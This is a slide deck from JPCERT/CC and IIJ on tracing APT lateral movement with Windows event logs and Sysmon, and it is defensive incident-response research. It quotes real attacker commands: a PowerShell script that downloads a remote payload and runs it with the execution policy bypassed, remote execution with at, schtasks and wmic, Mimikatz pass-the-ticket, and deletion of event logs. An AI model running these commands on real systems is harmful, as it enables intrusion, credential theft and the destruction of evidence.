Pursue the Attackers
- Identify and Investigate Lateral Movement Based on Behavior Pattern -

Shusei Tomonaga (JPCERT/CC)
Keisuke Muda (Internet Initiative Japan Inc.)
Self-introduction

Shusei Tomonaga

- Analysis Center at JPCERT/CC
- Malware analysis, Forensics investigation.
- Written up posts on malware analysis and technical findings on this blog and Github.
  - http://blog.jpcert.or.jp/
  - https://github.com/JPCERTCC/aa-tools
Self-introduction

Keisuke Muda

Internet Initiative Japan Inc. (IIJ)
Analyst, Security Operation Center,
Security Business Department,
Advanced Security Division

As a member of IIJ SOC, primarily working on:
— Analysis of logs sent from customers’ networks
— Research/Analysis of software vulnerabilities
— Enhancement of IIJ SOC service and the service infrastructure
Challenge of Incident Response

• Many hosts need to be investigated for APT Incident Response

• Logs required for investigation are not always recorded

• Difficult to detect Lateral Movement
Approach

If you know what logs are recorded with the lateral movement tools, IR will be easier.

- For lateral movement, a limited set of tools are used in many different incidents.

- There are some common patterns in the lateral movement methods.
<p>| 1 | Overview of APT Incident and Lateral Movement |
| 2 | Tools Used by Attackers for Lateral Movement |
| 3 | Tracing Attacks |
| 4 | Analysis of Tools Used by Attackers |</p>
<table>
<thead>
<tr>
<th></th>
<th>Overview of APT Incident and Lateral Movement</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>Tools Used by Attackers for Lateral Movement</td>
</tr>
<tr>
<td>3</td>
<td>Tracing Attacks</td>
</tr>
<tr>
<td>4</td>
<td>Analysis of Tools Used by Attackers</td>
</tr>
</tbody>
</table>
Overview of APT Incident and Lateral Movement

1. Infection
2. Initial investigation
3. Internal reconnaissance
4. Spread of infection
5. Sending stolen data
6. Delete evidence
Tools Used by Attackers at Lateral Movement

Attckers use not only attack tools but also Windows commands and legitimate tools.

Why attackers use **Windows commands** and legitimate tools?

They are not detected by antivirus software.
Research of Tools Used by Attackers

Research Methods

Investigating C&C servers and malware connections in five operations.

- APT10 (named by FireEye)
- APT17 (named by FireEye)
- Dragon OK (named by Palo Alto)
- Blue Termite (named by Kaspersky)
- Tick (named by Symantec)
Research Overview

C&C servers

Gstatus

Access Database
Research Overview

C&C servers

Emdivi SQLite Database

Executed commands
## Malware connection

<table>
<thead>
<tr>
<th>Type</th>
<th>Encode</th>
<th>RC4 key</th>
</tr>
</thead>
<tbody>
<tr>
<td>Daserf(Delphi)</td>
<td>LZNT1 + RC4 + Custom Base64</td>
<td>Constant (Depends on the malware)</td>
</tr>
<tr>
<td>DATPER(old)</td>
<td>LZNT1 + RC4 + Custom Base64</td>
<td>Constant (Depends on the malware)</td>
</tr>
<tr>
<td>DATPER(new)</td>
<td>lzrw1kh + xor + RC4 + Custom Base64</td>
<td>Constant (Depends on the malware)</td>
</tr>
<tr>
<td>xxmm</td>
<td>LZNT1 + RC4 + Custom Base64</td>
<td>Fixed(“1234”) or one-time key</td>
</tr>
</tbody>
</table>
Research Overview

Data Set

Total command execution: 16,866

Total number of infected host: 645
Research Overview

Data Set

Total command execution: 16,866

Total number of infected host: 645

Total Windows command execution: 14,268
Lateral Movement: Initial Investigation

Initial investigation

• Collect information of the infected host

The most used command is **tasklist**.

If the infected host was a virtual machine for analysis, the attacker will escape soon.
### Windows Command Used by Initial Investigation

<table>
<thead>
<tr>
<th>Rank</th>
<th>Command</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>tasklist</td>
<td>327</td>
</tr>
<tr>
<td>2</td>
<td>ver</td>
<td>182</td>
</tr>
<tr>
<td>3</td>
<td>ipconfig</td>
<td>145</td>
</tr>
<tr>
<td>4</td>
<td>net time</td>
<td>133</td>
</tr>
<tr>
<td>5</td>
<td>systeminfo</td>
<td>75</td>
</tr>
<tr>
<td>6</td>
<td>netstat</td>
<td>42</td>
</tr>
<tr>
<td>7</td>
<td>whoami</td>
<td>37</td>
</tr>
<tr>
<td>8</td>
<td>nbtstat</td>
<td>36</td>
</tr>
<tr>
<td>9</td>
<td>net start</td>
<td>35</td>
</tr>
<tr>
<td>10</td>
<td>set</td>
<td>29</td>
</tr>
<tr>
<td>11</td>
<td>qprocess</td>
<td>27</td>
</tr>
<tr>
<td>12</td>
<td>nslookup</td>
<td>11</td>
</tr>
</tbody>
</table>
Lateral Movement: Internal Reconnaissance

• Look for information saved in the compromised machine and information on the network

The most used command is `dir`.
—The attacker look around confidential data stored in the infected host.

For searching the local network, `net` is used.
## Windows Command Used for Internal Reconnaissance

<table>
<thead>
<tr>
<th>Rank</th>
<th>Command</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>dir</td>
<td>4466</td>
</tr>
<tr>
<td>2</td>
<td>ping</td>
<td>2372</td>
</tr>
<tr>
<td>3</td>
<td>net view</td>
<td>590</td>
</tr>
<tr>
<td>4</td>
<td>type</td>
<td>543</td>
</tr>
<tr>
<td>5</td>
<td>net use</td>
<td>541</td>
</tr>
<tr>
<td>6</td>
<td>echo</td>
<td>496</td>
</tr>
<tr>
<td>7</td>
<td>net user</td>
<td>442</td>
</tr>
<tr>
<td>8</td>
<td>net group</td>
<td>172</td>
</tr>
<tr>
<td>9</td>
<td>net localgroup</td>
<td>85</td>
</tr>
<tr>
<td>10</td>
<td>dsquery</td>
<td>81</td>
</tr>
<tr>
<td>11</td>
<td>net config</td>
<td>32</td>
</tr>
<tr>
<td>12</td>
<td>csvde</td>
<td>21</td>
</tr>
</tbody>
</table>
**net Command**

- **net view**
  - Obtain a list of connectable domain resources

- **net user**
  - Manage local/domain accounts

- **net localgroup**
  - Obtain a list of users belonging to local groups

- **net group**
  - Obtain a list of users belonging to certain domain groups

- **net use**
  - Access to resources
Why ping command is often executed?

Searching network hosts using ping

> echo @echo off >ee.bat
> echo for /l %%i in (1,1,255) do ping -n 1 10.0.0.%%i ^|find "TTL=" ^>^>rr.txt >>ee.bat
> type ee.bat
> ee.bat
Why echo command is executed?

Create script file using the echo command

> `echo $p = New-Object System.Net.WebClient >xz.ps1`
> `echo $p.DownloadFile("http://xxxxxxxxxxx.com/wp/0122.dat","c:\intel\logs\0122.exe") >>xz.ps1`
> `type xz.ps1`
> `powershell -ExecutionPolicy ByPass -File C:\intel\logs\xz.ps1`
# Windows Command Used for Internal Reconnaissance

<table>
<thead>
<tr>
<th>Rank</th>
<th>Command</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>13</td>
<td>net share</td>
<td>19</td>
</tr>
<tr>
<td>14</td>
<td>quser</td>
<td>18</td>
</tr>
<tr>
<td>15</td>
<td>net session</td>
<td>17</td>
</tr>
<tr>
<td>16</td>
<td>query</td>
<td>12</td>
</tr>
<tr>
<td>17</td>
<td>tracert</td>
<td>9</td>
</tr>
<tr>
<td>18</td>
<td>cscript</td>
<td>9</td>
</tr>
<tr>
<td>19</td>
<td>nltest</td>
<td>5</td>
</tr>
<tr>
<td>20</td>
<td>dumpel</td>
<td>5</td>
</tr>
<tr>
<td>21</td>
<td>tree</td>
<td>3</td>
</tr>
<tr>
<td>22</td>
<td>LogParser</td>
<td>2</td>
</tr>
<tr>
<td>23</td>
<td>net accounts</td>
<td>2</td>
</tr>
<tr>
<td>24</td>
<td>route</td>
<td>1</td>
</tr>
</tbody>
</table>
Search Logon Event logs

**dumpel command**

```
> dumpel.exe -f ac1.dat -l security -s ¥¥10.0.0.1 -d 10
```

**LogParser command**

```
> LogParser ""Select *From V:¥Server¥Security.evtx
Where EventID=4624 AND TimeGenerated < '2017-04-28 23:59:59' AND TimeGenerated > '2017-04-28 00:00:00''"
-i:evt -o:csv > V:¥Server¥Security.csv"
```
Search Logon Event logs

LogParser command 2

> LogParser -i:evt -o:csv ¥select strings,timegenerated from security where eventid=4624 and strings like '%min%' and strings like '%winlogon.exe%' and (timegenerated between TO_TIMESTAMP('2017-10-01', 'yyyy-MM-dd') and TO_TIMESTAMP('2017-10-06', 'yyyy-MM-dd'))¥ >c:¥ windows¥temp¥log.csv
Search Logon Event logs

cscript command

> cscript eventquery.vbs /s 10.0.1.11 /l application /fi "id eq 22"

eventquery.vbs

—Lists the events and event properties from one or more event logs.

—Installed by default on Windows XP, Windows Server 2003. (Does not function on Windows 7 and later)
Lateral Movement: Spread of Infection

Spread of infection

- Infect the machine with other malware or try to access other hosts

The most used command is `at`.

- "at" command is not supported on Windows 10, Windows 8.1 etc.
- If "at" doesn't exist, `schtasks` is used.

Password dump tool is always used.
## Windows Command Used for Spread of Infection

<table>
<thead>
<tr>
<th>Rank</th>
<th>Command</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>at</td>
<td>445</td>
</tr>
<tr>
<td>2</td>
<td>move</td>
<td>399</td>
</tr>
<tr>
<td>3</td>
<td>schtasks</td>
<td>379</td>
</tr>
<tr>
<td>4</td>
<td>copy</td>
<td>299</td>
</tr>
<tr>
<td>5</td>
<td>ren</td>
<td>151</td>
</tr>
<tr>
<td>6</td>
<td>reg</td>
<td>119</td>
</tr>
<tr>
<td>7</td>
<td>wmic</td>
<td>40</td>
</tr>
<tr>
<td>8</td>
<td>powershell</td>
<td>29</td>
</tr>
<tr>
<td>9</td>
<td>md</td>
<td>16</td>
</tr>
<tr>
<td>10</td>
<td>runas</td>
<td>7</td>
</tr>
<tr>
<td>11</td>
<td>sc</td>
<td>6</td>
</tr>
<tr>
<td>12</td>
<td>netsh</td>
<td>6</td>
</tr>
</tbody>
</table>
Remote Command Execute Used Windows Command

**at command**

```shell
> at ¥¥[IP Address] 12:00 cmd /c
"C:¥windows¥temp¥mal.exe"
```

**schtasks command**

```shell
> schtasks /create /tn [Task Name] /tr C:¥1.bat /sc onstart /ru System /s [IP Address]
```
Remote Command Execute Used Windows Command

wmic command

> wmic /node:[IP Address] /user:”[User Name]” /password:”[PASSWORD]” process call create “cmd /c c:\Windows\System32\net.exe user”
The Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.

**mofcomp command**

```bash
> move %temp%\mseinst.mof ¥server¥C$¥WINDOWS¥system32¥wbem¥svmon.mof
> mofcomp -N:root¥default C:¥WINDOWS¥system32¥wbem¥svmon.mof >c:¥mofinst.txt
> mofcomp -AUTORECOVER C:¥WINDOWS¥system32¥wbem¥svmon.mof >>c:¥mofinst.txt
```
Lateral Movement: Delete Evidence

Delete evidence

- Delete files used by the attacker and logs

The most used command is `del`.

For deleting the event log, `wevtutil` is used.
## Windows Command Used for Delete Evidence

<table>
<thead>
<tr>
<th>Rank</th>
<th>Command</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><code>del</code></td>
<td>844</td>
</tr>
<tr>
<td>2</td>
<td><code>taskkill</code></td>
<td>80</td>
</tr>
<tr>
<td>3</td>
<td><code>klist</code></td>
<td>73</td>
</tr>
<tr>
<td>4</td>
<td><code>wevtutil</code></td>
<td>23</td>
</tr>
<tr>
<td>5</td>
<td><code>rd</code></td>
<td>15</td>
</tr>
</tbody>
</table>
wevtutil command

Delete event logs

> wevtutil cl security

Search logon event logs

> wevtutil qe security /f:text /q:""*[System[EventID=4624 or EventID=4769 or EventID=4672 or EventID=4768]] and *[System[TimeCreated[@SystemTime>='2017-07-10T00:00:00.000']]"
>c:\windows\system32\log.txt
wevtutil command

Search start-up event logs

> wevtutil qe system /count:20 /rd:true /f:text /q: ""Event[System[(EventID=6005)]]"" | find ""Date"" > inf.txt
Delete Evidence of Pass-the-Ticket

- An attacker uses Pass-the-ticket when spreading infection to other hosts
  - Pass-the-hash is rarely used

- Pass-the-ticket
  - Issues an unauthorized ticket that grants access without additional authentication
  - Golden ticket
    - Use TGT (Ticket-Granting Tickets)
  - Silver ticket
    - Use ST (Service Ticket)
Delete Evidence of Pass-the-Ticket

**klist command**

> klist purge
Example of Command Execution Flow

Example (Tick)

> `cd ¥intel¥logs`
> `whoami`
> `klist`
> `net use`
> `klist purge`

> `IntelGFX.exe "kerberos::ptt 0422.tck" exit`

> `ping -n 1 10.1.44.16`
> `ping -n 1 10.1.2.16`

> `net use ¥¥10.1.2.16`
> `dir ¥¥100.1.2.16¥c$¥users`

Initial investigation

Golden Ticket with Mimikatz

Internal reconnaissance
> **copy** bb.bat ¥¥10.1.2.16¥c$¥windows¥system32¥
> **net time** ¥¥10.1.2.16 **Spread of infection**
> **at** ¥¥10.1.2.16 12:27 bb.bat
> **dir** ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt
> **move** ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt .
> **del** ¥¥10.1.2.16¥c$¥windows¥system32¥bb.bat
> **copy** zt.exe ¥¥10.1.2.16¥c$¥windows¥system32¥mscfg.exe
> **net time** ¥¥10.1.2.16
> **at** ¥¥10.1.2.16 12:33 mscfg.exe
> **dir** ¥¥10.1.2.16¥c$¥windows¥system32¥mscfg.exe

> **del** ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt
> **del** ¥¥10.1.2.16¥c$¥windows¥tasks¥at*.job
> **net use** ¥¥10.1.2.16 /del
> **dir**
> **del** zt.exe inf.txt bb.bat
> **dir**
> **net use**

**Delete evidence**
| 1 | Overview of APT Incident and Lateral Movement |
| 2 | Tools Used by Attackers for Lateral Movement |
| 3 | Tracing Attacks |
| 4 | Analysis of Tools Used by Attackers |
What Do We Want to Know About the Attacks…?

- **Hosts**
- **Accounts/Privileges** used

- **Tools**
- executed

- **Files/Intelligences** being accessed

- **Network traffics**

- **Possibility of** attackers coming back
What Do We Want to Know About the Attacks…?

- **Hosts** used
  - Find in **Logon History**

- **Tools** executed
  - Find in **Execution History**

- **Files/Intelligences** being accessed

- **Network traffics**

- **Possibility of** attackers coming back
  - Find in **Access and Execution Histories**
What Do We Want vs. What Can Be Found

Following records are taken by default on Windows:

— Client OS
  - Successful/Failed Logon
  - Successful Logoff
  - Successful Policy Modification … that’s about it

— Server OS
  - Successful Authentication in addition to the above

Some of the “Logon Histories” could be traced from the default logs.

There may not be enough record to prove “Execution History” and “Access History”.
Preventing For Investigation

- Default configuration is **not enough**.
  - Methods to cover the missing pieces are needed.
  - There are not so many documents that summarize methods and significant points for identifying threats.

- Some of the entities **are not recorded by default**, but it is possible to configure hosts to keep those records.
  - We *do* need to think about which entities we should cover to track the attacks.
Detecting Lateral Movement through Tracking Event Logs

- Tools and commands that were used in actual attacks were analyzed.
  - 49 different tools that were frequently used in attack behaviors were selected.
  - Approx. 1/3 were legitimate Windows tools.
  - Each of them was tested on a virtual network, and their execution “logs” were recorded.
Tools and commands that were used in actual attacks were analyzed.

- 49 different tools that were frequently used in attack behaviors were selected.
  - Approx. 1/3 were legitimate Windows tools.
  - Each of them was tested on a virtual network, and their execution “logs” were recorded.

In most cases, additional tweaks were necessary to obtain enough records.
Research Report

- Research report is available on JPCERT/CC website.
  - https://www.jpcert.or.jp/english/pub/sr/ir_research.html
  - English/Japanese

- First published in 2016
- Updated version 2017 available in Japanese
  - English version coming in December
The report shows some important aspects for tracing each tool.

Report screenshot in Japanese; English version coming soon.
Elements Researched

- Windows Event Logs
  - Default and additional logs
- Registry
- Cache for performance improvements
- File System Activities
- File/Folder Access Histories
- Network Traffic
Research Results

Event Logs were the most useful among the entities.

Audit Policy  Sysmon  Application Logs
Research Results

- Event Logs were the most useful among the entities.
  - Audit Policy
  - Sysmon
  - Application Logs

- There were some other useful information.
  - USN Journals
  - Packet Capture
Event Logs were the most useful among the entities.

There were some other useful information.

This session primarily focuses here.
<table>
<thead>
<tr>
<th></th>
<th>Overview of APT Incident and Lateral Movement</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>Tools Used by Attackers for Lateral Movement</td>
</tr>
<tr>
<td>3</td>
<td>Tracing Attacks</td>
</tr>
<tr>
<td>4</td>
<td>Analysis of Tools Used by Attackers</td>
</tr>
</tbody>
</table>
Analysis of Tools Used by Attackers

- Additional settings are needed to record tools execution.

- Additional settings **makes difference** in amount of evidences that may be obtained.
  - Without those additional settings, evidences obtained from the compromised hosts may not be enough.
Example: Get-GPPPassword.ps1

- Is a PowerShell script published on GitHub.
- Obtains plain text passwords stored on Group Policy settings.
  — Passwords can be stored when an update for MS14-025 is not applied.

```powershell
UserNames: {Administrator (権限N総合N総合N)}
NewName : [BLANK]
Passwords: {+831XySl}
File : \TESTNET.LOCAL\SYSVOL\testnet.local\%Policies%{667D5BED-33FB-4A90-A60C-3CA6E941C7CE}\Machine%Preferences%Groups\Groups.xml
```

- The following slides assume execution of the PowerShell scripts.
An example case of attack procedures.

1. Create an Access Path
   Install remote access and/or other tools. (Out of scope of this session)

2. Investigate the Network
   Necessary information, such as AD domain names and domain controller FQDN, are obtained.

3. Permit Script Execution
   Permit PowerShell script execution (which is disabled by default).

4. Download the Script
   Download the script to execute.

5. Execute the Script
   Execute the downloaded script.

6. Remove Evidences
   Remove evidences of compromises.
What Do We Want to Know About the Attacks…?

- **Hosts**
  - Accounts/Privileges
  - Find in Logon History

- **Tools**
  - Executed
  - Find in Execution History

- **Files/Intelligences**
  - Being accessed

- **Network traffics**

- **Possibility of attackers coming back**
  - Find in Access and Execution Histories

Looks similar to an ordinal Logon

PowerShell was used in some ways, but not sure about what has happened
An example case of attack procedures.

1. Create an Access Path
   (Out of scope of this session)

2. Investigate the Network
   Investigate compromised accounts and executed commands using Audit Policies

3. Permit Script Execution
   Trace change on settings from PowerShell execution and registry modification histories

4. Download the Script
   Find script downloads from the network traffic logs

5. Execute the Script
   Trace execution history from PowerShell and command execution histories

6. Remove Evidences
   Prepare not to lose trace logs even when attackers remove them from compromised hosts
Tracing Execution Histories

An example case of attack procedures.

1. Create an Access Path
   (Out of scope of this session)

2. Investigate the Network
   Investigate compromised accounts and executed commands using Audit Policies

3. Permit Script Execution
   Trace change on settings from PowerShell execution and registry modification histories

4. Download the Script
   Find script downloads from the network traffic logs

5. Execute the Script
   Trace execution history from PowerShell and command execution histories

6. Remove Evidences
   Prepare not to lose trace logs even when attackers remove them from compromised hosts
Audit Policies

- Options available on Windows by default.
  - One of the places to get started.

- With default settings, not many events are actually audited.
  - Resulting in lack of evidences for tracing the attacks.
Sysmon

- A software that is a part of Windows Sysinternals. — https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
- The software is publicly available on the webpage above.
**Sysmon**

- A software that is a part of Windows Sysinternals.  
- The software is publicly available on the webpage above.
- Information logged are shown below (based on version 6.10, released on May 2017)

<table>
<thead>
<tr>
<th>Process created /terminated</th>
<th>Driver loaded</th>
<th>Read disk using “￥￥.￥” denotation</th>
<th>Registry events</th>
<th>WMI events</th>
</tr>
</thead>
<tbody>
<tr>
<td>Change of file creation time</td>
<td>Image loaded</td>
<td>Process accessed</td>
<td>File stream events</td>
<td>Pipe events</td>
</tr>
<tr>
<td>Network connection</td>
<td>Thread created in another process</td>
<td>File creation</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Advantages of Log Analysis

■ If logs are preserved:
  Evidences that cannot be recovered afterwards are recorded.

■ If there is a case where the tool creates a temporary file:

When searching on the disk...

The file may be removed from the disk and cannot be recovered.

When running forensics...

“The file was created” in some ways, but not sure about exactly what was in the file.

Applications and command lines used for creating files may be recovered.

From logs...
Appropriate Configurations

■ Not a smart idea
  — “We have no idea about which logs we should keep. Simply just keep every single log”
  ■ If “take everything and filter out later” is the policy, it is okay to keep everything.

■ By default, old logs are overwritten when a log reaches its maximum size.
  — Domain Controller: 128MB
  — Others: 20MB

■ Important evidences might get buried without appropriate configurations.
  — Logs for several weeks are stored without additional settings, but does not contain enough evidences
  — Logs may be overwritten within few hours with improperly configured additional settings
### Useful Events ("Security" Events)

#### Events that were “useful”:

<table>
<thead>
<tr>
<th>Event Type</th>
<th>Event IDs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logon</td>
<td>4611 4624 4648 4776 4778</td>
</tr>
<tr>
<td>Process Executed</td>
<td>4688</td>
</tr>
<tr>
<td>Account Management</td>
<td>4720 4722 4724 4726 4728 4737 4738</td>
</tr>
<tr>
<td>Handles</td>
<td>4656 4658 4659 4660 4661 4663 4690</td>
</tr>
<tr>
<td>Logoff</td>
<td>4634 4779</td>
</tr>
<tr>
<td>Process Terminated</td>
<td>4689</td>
</tr>
<tr>
<td>Policy Change</td>
<td>4670 4904 4905 4946 4947</td>
</tr>
<tr>
<td>VSS</td>
<td>8222</td>
</tr>
<tr>
<td>Use of Privileges</td>
<td>4672 4673 4674 4703 4768 4769 4771</td>
</tr>
<tr>
<td>Filtering Platform</td>
<td>5156</td>
</tr>
<tr>
<td>File Sharing</td>
<td>5140 5142 5144 5145</td>
</tr>
</tbody>
</table>
## Useful Events (Windows Standard Events)

The following events are recorded by default and were useful:

<table>
<thead>
<tr>
<th>System</th>
<th>Microsoft-Windows -Application-Experience /Program-Telemetry</th>
<th>Microsoft-Windows -Kernel-PnPConfig /Configuration</th>
<th>Microsoft-Windows -TerminalServices -LocalSessionManager /Operational</th>
</tr>
</thead>
<tbody>
<tr>
<td>7036 7040 7045</td>
<td>7036 7040 7045</td>
<td>7036 7040 7045</td>
<td>7036 7040 7045</td>
</tr>
<tr>
<td>Application</td>
<td>Microsoft-Windows -Bits-Client /Operational</td>
<td>Microsoft-Windows -PowerShell /Operational</td>
<td>Microsoft-Windows -TerminalServices -RemoteConnection Manager /Operational</td>
</tr>
<tr>
<td>Logs Cleared</td>
<td>Microsoft-Windows -DeviceSetupManager /Admin</td>
<td>Microsoft-Windows -WinRM /Operational</td>
<td>Microsoft-Windows -TerminalServices -RDPClient /Operational</td>
</tr>
<tr>
<td>104</td>
<td>104</td>
<td>104</td>
<td>104</td>
</tr>
<tr>
<td></td>
<td>Microsoft-Windows -WinRM-Telemetry</td>
<td>Microsoft-Windows -RDPClient /Operational</td>
<td></td>
</tr>
</tbody>
</table>
Useful Events (Sysmon Events)

**Events that were “useful”:**

<table>
<thead>
<tr>
<th>Event Type</th>
<th>Count</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process Created</td>
<td>1</td>
<td>Use with “Security” audits</td>
</tr>
<tr>
<td>Process Terminated</td>
<td>5</td>
<td>Use with “Security” audits</td>
</tr>
<tr>
<td>Network Connection</td>
<td>3</td>
<td>Use with “Security” audits</td>
</tr>
<tr>
<td>CreateRemoteThread</td>
<td>8</td>
<td></td>
</tr>
<tr>
<td>RawAccessRead</td>
<td>9</td>
<td></td>
</tr>
<tr>
<td>Process Accessed</td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>File Creation</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>Time Changed</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>Registry Events</td>
<td>12, 13</td>
<td></td>
</tr>
</tbody>
</table>
Audit Policies and Sysmon (1)

Some properties might be common in both logs
—Sysmon logs tend to have more useful details.
—Some properties, such as “Token Elevation Types” appears only on Audit logs.
### Tracing Execution Histories

#### An example case of attack procedures.

<table>
<thead>
<tr>
<th>Step</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Create an Access Path</td>
<td>(Out of scope of this session)</td>
</tr>
<tr>
<td>2. Investigate the Network</td>
<td>Investigate compromised accounts and executed commands using Audit Policies</td>
</tr>
<tr>
<td>3. Permit Script Execution</td>
<td>Trace change on settings from PowerShell execution and registry modification histories</td>
</tr>
<tr>
<td>4. Download the Script</td>
<td>Find script downloads from the network traffic logs</td>
</tr>
<tr>
<td>5. Execute the Script</td>
<td>Trace execution history from PowerShell and command execution histories</td>
</tr>
<tr>
<td>6. Remove Evidences</td>
<td>Prepare not to lose trace logs even when attackers remove them from compromised hosts</td>
</tr>
</tbody>
</table>

- **Done**: Investigate compromised accounts and executed commands using Audit Policies
- **Done for Registry**: Trace change on settings from PowerShell execution and registry modification histories
- **“PowerShell was used” in some way**: Find script downloads from the network traffic logs
By default, **execution of PowerShell** is logged, but not sure about what has happened on the PowerShell session.
With group policies, it is possible to configure Windows to record PowerShell logs on:

- Windows 10, and
- Previous Windows versions with required modules installed
PowerShell Logs

The entire script will be recorded in Event Logs.
Command histories are saved in a separate file.

Event 4104, PowerShell (Microsoft\Windows\PowerShell)

```
try {
    $filename = Split-Path $file -Leaf
    $xml = Get-Content ($file)
    #Declare empty arrays
    $password = @()
    $username = @()
    $filename = @()
    $changed = @()
    $changed = @()

    #check for password field
    if ($xml.LineNumber -like "password"){
        Write-Verbose 'Potential Password in $filename'
    }

    switch ($filename) {
        'Groups.xml' {
            $password = @($xml | Select-Object \-Property \@password)
            $username = @($xml | Select-Object \-Property \@username)
            $filename = @($xml | Select-Object \-Property \@filename)
            $changed = @($xml | Select-Object \-Property \@changed)
        }
        'Services.xml' {
            $password = @($xml | Select-Object \-Property \@password)
            $username = @($xml | Select-Object \-Property \@username)
            $filename = @($xml | Select-Object \-Property \@filename)
            $changed = @($xml | Select-Object \-Property \@changed)
        }
    }
}
```
Tracing Execution Histories

An example case of attack procedures.

1. Create an Access Path
   (Out of scope of this session)

2. Investigate the Network
   Investigate compromised accounts and executed commands using Audit Policies

3. Permit Script Execution
   Trace change on settings from PowerShell execution and registry modification histories

4. Download the Script
   Find script downloads from the network traffic logs

5. Execute the Script
   Trace execution history from PowerShell and command execution histories

6. Remove Evidences
   Prepare not to lose trace logs even when attackers remove them from compromised hosts
Investigating Network Activities

- If there are network devices...
  - Logs from firewalls, web proxies, IDS/IPS, and so on are useful.
Investigating Network Activities

- If there are network devices...
  Logs from firewalls, web proxies, IDS/IPS, and so on are useful.

- If there are no network devices that can produce useful logs...

Windows Filtering Platform
(Windows Firewall)

Sysmon Event 3
(“Network connection detected”)

Access to Shared Folders (Logged on the Domain Controller)
Similar to process audits, network connections are logged in both audit and Sysmon logs.

<table>
<thead>
<tr>
<th>Audit</th>
<th>Sysmon</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image1.png" alt="Auditcreenshot" /></td>
<td><img src="image2.png" alt="SysmonScreenshot" /></td>
</tr>
</tbody>
</table>

- **Event 5136, Microsoft Windows security auditing.**
  - The Windows Filtering Platform has permitted a connection.
  - **Application Information:**
    - **Process ID:** 560
    - **Application Name:** `\device\harddiskvolume4\windows\system32\lsass.exe`
  - **Network Information:**
    - **Direction:** Outbound
    - **Source Address:** 192.168.17.33
    - **Source Port:** 51037
    - **Destination Address:** 192.168.17.1
    - **Destination Port:** 135
    - **Protocol:** 6
  - **Filter Information:**
    - **Filter Run-Time ID:** 68749
    - **Layer Name:** Connect
    - **Layer Run-Time ID:** 48

- **Event 3, Sysmon**
  - **Network connection detected:**
    - **UtcTime:** 2017-10-24 09:23:52.050
    - **ProcessGuid:** (844a1857-ac8d-59ee-0000-0010a74f0000)
    - **ProcessId:** 560
    - **Image:** `C:\Windows\System32\lsass.exe`
    - **User:** NT AUTHORITY\SYSTEM
    - **Protocol:** tcp
    - **Initiated:** true
    - **SourceSslv6:** false
    - **SourceIp:** 192.168.17.33
    - **SourcePort:** 51037
    - **SourcePortName:**
    - **DestinationSslv6:** false
    - **DestinationIp:** 192.168.17.1
    - **DestinationPort:** 135
    - **DestinationPortName:** epmap
File Downloads

History of file downloads may be found on:

- PowerShell commands
  - Can be checked from PowerShell logs
- Files related to web browsers
  - Download history
  - Temporary Internet Files

It is possible to check them using Event Logs.
Tracing Execution Histories

An example case of attack procedures.

1. Create an Access Path
   - (Out of scope of this session)

2. Investigate the Network
   - Investigate compromised accounts and executed commands using Audit Policies
   - Done

3. Permit Script Execution
   - Trace change on settings from PowerShell execution and registry modification histories
   - Done

4. Download the Script
   - Find script downloads from the network traffic logs
   - Done

5. Execute the Script
   - Trace execution history from PowerShell and command execution histories
   - Done

6. Remove Evidences
   - Prepare not to lose trace logs even when attackers remove them from compromised hosts
File operations can be traced from the Audit logs.

If the attacker creates a RAR or a ZIP file to create a single file to upload obtained files to his/her site...

— The archive file is created temporarily, and then removed from the disk so it would not be found.
Clear Logs

- Event Logs may be cleared easily if the compromised account has administrative rights.

- If logs are logged on a file, simply removing the log file will clear an evidence.

Need to consider a case where logs were cleared by attackers.
To Trace Attacks Even When Logs Were Cleared

- Logs remaining on the hosts may be cleared when an attacker successfully logs onto them.

- Real-time log transfer to other hosts help administrators to trace events even when the logs were cleared from hosts locally.
  - Event subscription
  - Send using protocols such as Syslog
  - Back up log files periodically
An example case of attack procedures.

1. Create an Access Path
   (Out of scope of this session)

2. Investigate the Network
   Investigate compromised accounts and executed commands using Audit Policies
   Done

3. Permit Script Execution
   Trace change on settings from PowerShell execution and registry modification histories
   Done

4. Download the Script
   Find script downloads from the network traffic logs
   Done

5. Execute the Script
   Trace execution history from PowerShell and command execution histories
   Done

6. Remove Evidences
   Prepare not to lose trace logs even when attackers remove them from compromised hosts
   Done
“Cons” of the Method

- It is necessary to tune up log sizes appropriately.
  — Otherwise, the precious evidences may get buried with other “garbage”.

- When attackers clear the logs stored on the compromised hosts, it becomes difficult to trace attacks.
  — It is important to think about gathering logs on other hosts securely.
“Pros” of the Method

Execution histories of tools may be traced.
  — They cannot be traced by default settings.
  — Some “valuable” logs are recorded by simply modifying Windows settings and installing the free software
To Obtain Better Logs

- This research primarily used “Windows standard features + Sysmon”.

- Adding other elements would improve analysis.
  - Monitoring networks
  - Monitoring endpoints etc...
Conclusion

Typically, limited set of tools and commands are used for Lateral Movement.

Many attack tools can be detected with audit policy and Sysmon.

Our report would be helpful if you are investigating APT incidents.
Thank you

Q&A

https://www.jpcert.or.jp/english/pub/sr/ir_research.html